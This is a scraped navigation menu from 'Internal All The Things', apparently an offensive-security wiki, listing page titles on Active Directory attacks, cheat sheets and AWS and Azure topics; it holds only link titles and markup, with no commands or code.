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|
||
<a href="../.." class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Internal All The Things
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_2" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_2" id="__nav_2_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active directory
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_2_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_2">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Active directory
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/ad-adcs-certificate-services/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Certificate Services
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/ad-adds-acl-ace/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Access Controls ACL/ACE
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/ad-adds-enumerate/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Enumeration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/ad-adds-group-policy-objects/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Group Policy Objects
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/ad-adds-groups/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Groups
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/ad-adds-linux/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Linux
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/ad-adds-machineaccountquota/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Machine Account Quota
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/ad-adds-ntds-dumping/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - NTDS Dumping
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/ad-adds-rodc/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Read Only Domain Controller
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/ad-adfs-federation-services/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Federation Services
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/ad-integrated-dns/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Integrated DNS - ADIDNS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/ad-roasting-asrep/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Roasting - ASREP Roasting
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/ad-roasting-kerberoasting/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Roasting - Kerberoasting
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/ad-roasting-timeroasting/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Roasting - Timeroasting
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/ad-tricks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Tricks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/deployment-sccm/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Deployment - SCCM
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/deployment-wsus/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Deployment - WSUS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/hash-capture/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hash - Capture and Cracking
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/hash-over-pass-the-hash/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hash - OverPass-the-Hash
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/hash-pass-the-hash/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hash - Pass the Hash
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/hash-pass-the-key/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hash - Pass The Key
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/internal-dcom/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Internal - DCOM
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/internal-mitm-relay/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Internal - MITM and Relay
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/internal-pxe-boot-image/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Internal - PXE Boot Image
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/internal-shares/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Internal - Shares
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/kerberos-bronze-bit/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kerberos - Bronze Bit
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/kerberos-delegation-constrained/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kerberos Delegation - Constrained Delegation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/kerberos-delegation-rbcd/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kerberos Delegation - Resource Based Constrained Delegation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/kerberos-delegation-unconstrained/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kerberos Delegation - Unconstrained Delegation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/kerberos-s4u/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kerberos - Service for User Extension
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/kerberos-tickets/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kerberos - Tickets
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/pwd-comments/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Password - AD User Comment
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/pwd-dsrm-credentials/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Password - DSRM Credentials
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/pwd-group-policy-preferences/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Password - Group Policy Preferences
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/pwd-precreated-computer/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Password - Pre-Created Computer Account
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/pwd-read-gmsa/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Password - GMSA
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/pwd-read-laps/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Password - LAPS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/pwd-shadow-credentials/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Password - Shadow Credentials
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/pwd-spraying/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Password - Spraying
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/trust-pam/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Trust - Privileged Access Management
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/trust-relationship/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Trust - Relationship
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/trust-sid-hijacking/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Child Domain to Forest Compromise - SID Hijacking
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/trust-ticket/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Forest to Forest Compromise - Trust Ticket
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_2_44" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_2_44" id="__nav_2_44_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CVE
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_2_44_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_2_44">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CVE
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/CVE/MS14-068/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MS14-068 Checksum Validation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/CVE/NoPAC/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
NoPAC / samAccountName Spoofing
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/CVE/PrintNightmare/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
PrintNightmare
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/CVE/PrivExchange/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
PrivExchange
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../active-directory/CVE/ZeroLogon/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
ZeroLogon
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_3" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_3" id="__nav_3_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cheatsheets
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_3_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_3">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Cheatsheets
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cheatsheets/escape-breakout/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kiosk Escape and Jail Breakout
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cheatsheets/hash-cracking/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hash Cracking
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cheatsheets/mimikatz-cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Mimikatz
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cheatsheets/miscellaneous-tricks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Miscellaneous & Tricks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cheatsheets/network-discovery/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Network Discovery
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cheatsheets/powershell-cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Powershell
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cheatsheets/shell-bind-cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Bind Shell
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cheatsheets/shell-reverse-cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Reverse Shell Cheat Sheet
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cheatsheets/source-code-management-ci/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Source Code Management & CI/CD Compromise
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_4" id="__nav_4_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cloud
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_4">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Cloud
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4_1" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_4_1" id="__nav_4_1_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Aws
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_4_1_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_4_1">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Aws
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/aws/aws-access-token/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Access Token & Secrets
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/aws/aws-cli/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - CLI
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/aws/aws-cognito/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Service - Cognito
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/aws/aws-dynamodb/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Service - DynamoDB
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/aws/aws-ec2/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Service - EC2
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/aws/aws-enumeration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Enumerate
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/aws/aws-iam/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Identity & Access Management
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/aws/aws-ioc-detection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - IOC & Detections
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/aws/aws-lambda/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Service - Lambda & API Gateway
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/aws/aws-metadata/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Metadata SSRF
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/aws/aws-s3-bucket/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Service - S3 Buckets
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/aws/aws-ssm/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Service - SSM
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/aws/aws-training/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Training
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
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|
||
|
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|
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|
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|
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|
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|
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|
||
|
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|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
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|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4_2" >
|
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|
||
|
||
<label class="md-nav__link" for="__nav_4_2" id="__nav_4_2_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_4_2_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_4_2">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Azure
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
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|
||
|
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|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/aka-ms/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
aka.ms Shortcuts
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
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|
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|
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|
||
|
||
|
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|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-access-and-token/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure AD - Access and Tokens
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
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|
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|
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|
||
|
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|
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|
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|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-ad-conditional-access-policy/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure AD - Conditional Access Policy
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
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|
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|
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|
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|
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|
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|
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|
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|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-ad-connect/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure AD - AD Connect and Cloud Sync
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
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|
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|
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|
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|
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|
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|
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|
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<li class="md-nav__item">
|
||
